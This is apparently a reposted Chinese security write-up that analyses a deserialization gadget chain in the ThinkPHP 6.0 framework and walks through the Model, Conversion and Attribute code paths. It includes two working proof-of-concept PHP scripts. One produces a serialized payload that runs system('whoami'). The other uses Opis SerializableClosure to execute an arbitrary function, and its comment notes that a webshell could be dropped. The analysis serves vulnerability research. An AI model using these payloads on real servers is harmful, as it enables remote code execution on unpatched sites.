ThinkPHP 6 反序列化漏洞
2021-04-15 13:35:14 Author: xz.aliyun.com(查看原文) 阅读量:327 收藏

环境W

tp6.0 apache php7.3

漏洞分析

反序列化漏洞需要存在 unserialize() 作为触发条件,修改入口文件

app/controller/Index.php

注意tp6url访问直接是 /控制器/操作/参数…………,相比tp5少了模块这个地方,本地测试的需要注意。

全局搜索 __destruct

可利用的在/vendor/topthink/think-orm/src/Model.php

跟进$this->save()

去看一下 setAttrs 方法

public function setAttrs(array $data): void
    {
        // 进行数据处理
        foreach ($data as $key => $value) {
            $this->setAttr($key, $value, $data);
        }
    }
public function setAttr(string $name, $value, array $data = []): void
    {
        if (……) {
                    ……
        } else {
            // 检测修改器
            $method = 'set' . Str::studly($name) . 'Attr';
            if (method_exists($this, $method)) {
                $array = $this->data;
//注意这里可以调用动态函数,执行命令,但是上面对 method 进行字符串拼接
                $value = $this->$method($value, array_merge($this->data, $data));        
    }

这里是不通的,继续往下审计,

跟进 $this->updateDate()

检查数据之后获取有更新的数据,这两个函数可以用来绕过下面的的 if 语句

后面构造pop的时候再细说。

跟进检查允许字段$this->checkAllowFields()

跟进 $this->db

注意这个字符串拼接符号$this->name . $this->suffix ,可以利用其触发__toString

全局搜索 __toString,芜湖,来到了熟悉的conversion类里

继续跟进__toArray

前面的遍历先不看,跟进 getAttr()

先看返回值 的 $this->getValue

这里的

$closure = $this->withAttr[$fieldName];
 $value   = $closure($value, $this->data);

注意看这里,我们是可以控制$this->withAttr的,那么就等同于控制了$closure

可以作为动态函数,执行命令。根据这个点,我们来构造pop。

pop链构造

一开始 我们需要 控制 $this->lazySave变量为真,然后进入save()方法,需要执行$this->updateDate不能被 提前return,去看 is_Empty() , trigger()方法,

public function isEmpty(): bool
    {
        return empty($this->data);
//FALSE if var exists and has a non-empty, non-zero value. Otherwise returns TRUE.
//$this->data 可控,设置非空的数组就好。
    }
    protected function trigger(string $event): bool
    {
        if (!$this->withEvent) {
//!$this->withEvent 可控
            return true;
        }

且还需要 $this->exists 为真 ,这个参数也是可控的。

进入 $this->updateData 方法后,我们需要程序执行到 $this->checkAllowFields() 在此之前同样不能被return

跟进 getChangedData()

我们希望 $data 不改变,所以就令$this->force 为真。

$this->lazySave == true
$this->data不为空
$this->withEvent == false
$this->exists == true
$this->force == true

model 类是复用了trait 类 的,可以访问其属性,和方法。Model 类 是抽象类,不能被实例化,所以我们还需要找到其子类。

Pivot类就是我们需要找的类。

到这里我们成功执行到了 $this->checkAllowFields(),还得进入 $this->db()

$this->field为空,$this->schema也为空。初始就是空数组,不做处理。

现在进入到 $this->db() 里。

$this->name$this->suffix设置为含有__toString的类对象就可以触发此魔术方法。

但是这里有意思的是,我们需要触发__toString 的类 是conversion 类 而这个类是trait类,

而当前的model类是 复用了 conversion类的,所以我们相当于重新调用一遍 Pivot 类。也就是重新调用一下自己,触发自己的的__toString方法。这个操作在buuoj上的一道题目中遇到过。

再接着就是 toJson() toArray() ,前面两个foreach 不做处理,再下来这个foreach会进入最后一个if分支,调用getAttr方法。这个foreach 是遍历 $this->data,然后将$data$key传入getAttr

$data = array_merge($this->data, $this->relation);

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
                    $val->visible($this->visible[$key]);
                } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
                    $val->hidden($this->hidden[$key]);
                }
                // 关联模型对象
                if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
                    $item[$key] = $val->toArray();
                }
            } elseif (isset($this->visible[$key])) {
                $item[$key] = $this->getAttr($key);
            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
                $item[$key] = $this->getAttr($key);
            }
        }

进入getAttr 方法,这里的$name 是 $key

跟进getData

跟进getRealFieldName()

$this->strict `默认值为True 所以 `$fieldName = $key

,$key是一定存在与$this->data 里的,然后$this->getdata()返回的$value值就是 $this->data[$key]

最后return $this->getValue($key, $this->data[$key], $relation)

进入 getValue()

同理,这里的$fieldName就是 $key$relation在传入时设置值就是false,然后 我们设置一下$this->withAttr[$fieldName]的值,进入if(``isset($this->withAttr[$fieldName]))分支。进行命令执行。

poc

<?php
namespace think\model\concern;

trait Attribute{
    private $data=['jiang'=>'whoami'];
    private $withAttr=['jiang'=>'system'];
}
trait ModelEvent{
    protected $withEvent;
}

namespace think;

abstract class Model{
    use model\concern\Attribute;
    use model\concern\ModelEvent;
    private $exists;
    private $force;
    private $lazySave;
    protected $suffix;
    function __construct($a = '')
    {
        $this->exists = true;
        $this->force = true;
        $this->lazySave = true;
        $this->withEvent = false;
        $this->suffix = $a;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model{}

echo urlencode(serialize(new Pivot(new Pivot())));
?>

成功执行

$value  = $closure($value, $this->data);

这个动态函数的参数有两个 第一个是 $data$value 第二个就是 $data 数组。这里我们可以执行system('whoami')是因为system支持两个参数的,但是这里的参数问题导致我们的利用条件很局限。

tp6自带一种SerializableClosure调用,也就是

\Opis\Closure\SerializableClosure

这个包呢,和php自带的反序列化函数不同的地方,就是可以反序列化函数,就是可以把函数反序列化。

php对用户自定义函数的参数要求并不是很严格,可以看下面这个。

所以我们可以通过但反序列化函数绕过这里参数的限制。

$func = function(){phpinfo();};
$closure = new \Opis\Closure\SerializableClosure($func);
$closure($value, $this->data);// 参数不用管。

修改上面的pop

<?php
namespace think\model\concern;

trait Attribute{
    private $data;
    private $withAttr;
}
trait ModelEvent{
    protected $withEvent;
}

namespace think;

abstract class Model{
    use model\concern\Attribute;
    use model\concern\ModelEvent;
    private $exists;
    private $force;
    private $lazySave;
    protected $suffix;
    function __construct($a = '')
    {   
    $func = function(){phpinfo();};//可写马,测试用的phpinfo;
    $b=\Opis\Closure\serialize($func);
        $this->exists = true;
        $this->force = true;
    $this->lazySave = true;
    $this->withEvent = false;
        $this->suffix = $a;
        $this->data=['jiang'=>''];

        $c=unserialize($b); 
    $this->withAttr=['jiang'=>$c];
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model{}
require 'closure/autoload.php';
echo urlencode(serialize(new Pivot(new Pivot())));

?>

自行下载 \Opis\Closure\这个包,链接

poc放在closure 文件夹同级。

写在后面

这个反序列化漏洞最终是利用了可变函数,以及函数的反序列化绕过参数的限制。所以当可以使用自定义函数的时候,参数就变得不是那么重要,再加上可以反序列化函数的这个包,可以利用的地方就更多了。如果有问题,还请师傅们指出。


文章来源: http://xz.aliyun.com/t/9405
如有侵权请联系:admin#unsafe.sh